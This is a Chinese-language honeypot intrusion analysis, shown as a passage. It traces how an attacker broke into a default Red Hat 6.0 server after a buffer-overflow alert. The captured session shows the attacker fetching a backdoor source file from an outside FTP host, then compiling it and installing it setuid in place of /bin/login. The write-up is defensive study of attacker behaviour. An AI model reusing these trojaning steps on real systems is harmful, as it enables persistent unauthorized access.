背景: 本文中所有相关的信息都是由我的honeypot(http://www.enteract.com/~lspitz/honeypot.Html)收集到的。在我的honeypot上默认安装的是Red Hat 6.0。按照默认安装好后没有进行过其它附加的改动,所以在它上面存在的安全漏洞对于其它默认安装的Red Hat 6.0系统也是存在的。同样,在下面文章中出现的所有数据都是没有修改过的。所有的IP地址,用户帐号,包括所有的键盘输入都是真实的。为了保护系统的安全只有密码数据被改动了,本文的目的就是为了更好的来理解黑客是如何思维和攻击的。 所有的嗅探器格式都是使用了 snort格式。Snort是我使用的嗅探器和入侵检测系统,这是因为它的灵活性,兼容性和免费软件的特点。这次入侵过程中黑客所有的行动都被snort记录下来了,同时我使用了www.whitehats.com提供的入侵分析资料。你可以去那查询到我这里提到的所有详细技术资料。当你在阅读本文的时候,可以注意到黑客使用了各种不同的操作系统,虽然本文将这个黑客称呼为“她”,但是我们并不真正知道他的性别到底是什么。 关于这次攻击 在4月26日06:43时,snort向我报警,报告说现在我的系统中某一台服务器遭受到'noop'攻击。包含有noops 命令的包一般预示这是一次缓冲溢出攻击。在本次攻击中,snort检测到这次攻击并且将攻击者的行动记录到/var/log/messages文件中(该文件由swatch程序监视)。申明:在本文中,IP地址172.16.1.107是我的honeypot(就是被攻击的服务器)的IP地址。而其它的IP地址都是黑客所使用的IP地址
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 虽然我的honeypots每天都会收到无数的扫描、探测、查询。但是,这条信息马上引起了我的注意,因为它预示这系统已经受到威胁了。果然,还不到两分钟,系统日志就告诉我入侵者已经连接上并且登录上了。 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506) 显然,入侵者已经得到了超级用户的访问权限,并且现在已经控制了系统。但是这是怎么发生的了?下面我们将一步一步的说明她是如何干的。
#' !"'!"# ' 9600,9600'VT5444VT5444 Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 login: twin PassWord: Password: hax0r No Directory /home/twin! Logging in with home = "/". [twin@apollo /]$ su hantu Password: Password: hax0r
下面,我们的黑客朋友使用FTP连接到另外一个系统上去获取她的工具包。 [root@apollo /]# ftp 24.112.167.35 Connected to 24.112.167.35. 220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready. Name (24.112.167.35:twin): welek 331 Password required for welek. Password:password 230 User welek logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> get bj.c local: bj.c remote: bj.c 200 PORT command sUCcessful. 150 Opening BINARY mode data connection for bj.c (1010 bytes). 226 Transfer complete. 1010 bytes received in 0.115 secs (8.6 Kbytes/sec) ftp> quit 221-You have transferred 1010 bytes in 1 files. 221-Total traffic for this session was 1421 bytes in 1 transfers. 221-Thank you for using the FTP service on linux. 221 Goodbye.
然后,她得到她的后门程序,编译了bj.c,把它安装和替换掉/sbin/login程序。注意所有的在命令行方式下输入的命令。看上去这些编译命令都是通过“拷贝和粘贴”操作来完成的。 [root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c bj.c:16: unterminated string or character constant bj.c:12: possible real start of unterminated constant
她试图来编译这个后门程序。 [root@apollo /]# chown root:bin login chown: login: No such file or directory [root@apollo /]# chmod 4555 login chmod: login: No such file or directory [root@apollo /]# chmod u-w login chmod: login: No such file or directory [root@apollo /]# cp /bin/login /usr/bin/x